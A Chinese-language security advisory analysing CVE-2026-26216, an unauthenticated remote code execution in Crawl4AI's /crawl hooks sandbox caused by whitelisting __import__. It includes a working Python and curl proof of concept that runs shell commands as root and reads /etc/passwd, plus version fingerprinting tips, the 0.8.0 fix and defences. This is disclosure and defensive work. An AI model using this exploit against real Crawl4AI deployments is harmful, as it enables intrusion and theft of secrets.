CVSS 10.0 / 无认证 RCE / 影响 < 0.8.0 / 修复 0.8.0 GHSA-5882-5rx9-xgxp

Crawl4AI 是当下最流行的开源 LLM 爬虫框架之一,官方 Docker 镜像默认把 API 暴露在 11235 端口,POST /crawl 端点默认不启用 JWT 认证。这个端点接受一个 hooks 参数,允许调用方注入 Python 代码,在爬取生命周期的各个事件点执行。代码在 exec() 里跑,外面套了一层"沙箱"——一个手写的 builtins 白名单。

问题出在白名单里多了一项:import。

0x00 漏洞信息

项

值

CVE

CVE-2026-26216

GHSA

GHSA-5882-5rx9-xgxp

CVSS

10.0

类型

未认证远程代码执行

影响版本

crawl4ai < 0.8.0

修复版本

0.8.0

攻击向量

POST /crawl 的 hooks.code 参数

权限要求

无(默认部署 JWT 关闭)

执行上下文

Docker 容器内 root

0x01 沙箱是怎么被一个函数打穿的

hook_manager.py 里定义了 ALLOWED_BUILTINS,作者意图很清楚:去掉 open/eval/exec/compile 这些危险 builtins,保留 len/range/str 这类"看起来无害"的。但下面这一行让整个白名单形同虚设:

# hook_manager.py 第 59 行
"__import__": __import__,

这里值得展开讲一下这个白名单的构成。作者保留了 len、range、str、int、dict、list、sorted、min、max 这些类型和工具函数,也保留了 Exception、ValueError、KeyError 三类异常,意图是让合法的 hook 代码能正常做数据处理和异常捕获。同时作者明确没有放进去的包括 open、eval、exec、compile、__builtins__,说明他清楚这些是危险的。

但 __import__ 被放进去了,而且就排在 KeyError 后面,看不出任何特殊标记。在 Python 里,__import__ 是 import 语句的底层实现,拿到它就等于拿到了整个标准库的入口。更关键的是,它不只是能导入 os 和 subprocess——__import__('builtins').__dict__ 可以直接拿回完整的 builtins,然后 __import__('builtins').__dict__['open'] 就把作者刻意排除的 open 又拿回来了。所以这一个键,同时打穿了“模块导入限制”和“危险 builtins 排除”两道防线。

__import__ 为Python 加载模块的底层函数。它在白名单里,意味着 hook 代码可以 __import__('os')、__import__('subprocess')、__import__('socket')——把作者想封的模块全部拿回来。

第 94 行是执行点:

# hook_manager.py 第 94 行
exec(compile(code, f"<hook:{event}>", "exec"), sandbox_globals, sandbox_locals)

sandbox_globals 里塞的就是 ALLOWED_BUILTINS。整条链路:请求体 hooks.code.on_page_context_created → exec() → 白名单里的 import → 任意模块 → 任意命令。

0x02 本地复现

环境:Python 3.14 + fastapi 0.162 + uvicorn 0.54,跑复刻版 server.py(接口与官方 Docker 部署一致)。

服务启动:

![uvicorn 启动日志](shots/09-server-log.png)

INFO:     Started server process [1128083]
INFO:     Application startup complete.
INFO:     Uvicorn running on http://127.0.0.1:11235
import json
import urllib.request

TARGET = "http://127.0.0.1:11235/crawl"
CMD = "id; hostname; whoami; uname -a"

hook = f"""
async def hook(page, context, **kwargs):
    sp = __import__('subprocess')
    out = sp.run({CMD!r}, shell=True, capture_output=True, text=True)
    print(out.stdout)
    return page
"""

payload = {
    "url": "http://example.com",
    "hooks": {"code": {"on_page_context_created": hook}},
}

req = urllib.request.Request(
    TARGET,
    data=json.dumps(payload).encode(),
    headers={"Content-Type": "application/json"},
    method="POST",
)
with urllib.request.urlopen(req, timeout=10) as r:
    print(r.read().decode())

构造 payload,hooks.code 里塞一个 async 函数,用 import('subprocess') 执行 id; hostname; whoami; uname -a:

curl -s -X POST http://127.0.0.1:11235/crawl \
  -H "Content-Type: application/json" \
  -d @/tmp/poc1.json

回显:

{"success":true,"results":[],"registered_hooks":["on_page_context_created"],
 "server_log":"uid=0(root) gid=0(root) groups=0(root)\nQSSQDL\nroot\nLinux QSSQDL 6.18.54.1-microsoft-standard-WSL2 x86_64 GNU/Linux\n\n"}

uid=0(root)——容器里是 root,无任何凭据。

第二个请求读 /etc/passwd:

{"success":true,"server_log":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n\n"}

0x03 修复对比:0.8.0 改了什么

0.8.0 做了三处改动:

  1. ALLOWED_BUILTINS 移除 import、eval、exec、open、compile

  2. hooks 默认关闭,改为 opt-in,需要环境变量 CRAWL4AI_HOOKS_ENABLED=true 才启用

  3. 对 hooks.code 的传入做显式类型检查

修复后的白名单不再包含 import,import('os') 会在 exec 时抛 NameError,沙箱从"形同虚设"变成"真的限制"。

0x04 影响面与防御

默认 Docker 部署的三个放大因素:

  • JWT 认证默认关闭

  • 容器以 root 运行

  • 11235 端口常被直接映射到宿主机或公网

从攻击者视角看,这个漏洞的利用门槛极低:不需要任何凭据,不需要知道目标上跑的是什么业务,只要 11235 端口可达,一个 POST 请求就能拿到容器内的命令执行。默认镜像以 root 运行,容器里通常挂着数据库连接串、上游 API key、模型凭据这类高价值配置,所以一旦被打进来,横向的价值很高。

从资产发现角度,11235 是一个特征明显的端口,配合 /health 端点返回的 {"status":"ok","version":"..."} 可以直接指纹识别版本号,判断是否在影响范围内。这也是为什么这类“默认无认证 + 默认 root + 固定端口”的组合,往往会在漏洞公开后很短时间内出现批量扫描。

防御四条:

  1. 升级到 crawl4ai >= 0.8.0

  2. 如无法升级,在反向代理层拦截 /crawl 端点或强制 JWT

  3. 容器以非 root 用户运行(--user 1000:1000)

  4. 不要把 11235 端口直接暴露到公网

防御侧,除了升级到 0.8.0,如果因为业务原因暂时无法升级,最直接的办法是在反向代理层把 /crawl 路径拦住,或者强制加上 JWT。另外把容器改成非 root 运行(--user 1000:1000)能显著降低拿到 shell 之后的破坏面,这一点对任何以 Docker 方式部署的服务都适用。

参考

  • GHSA-5882-5rx9-xgxp

  • CVE-2026-26216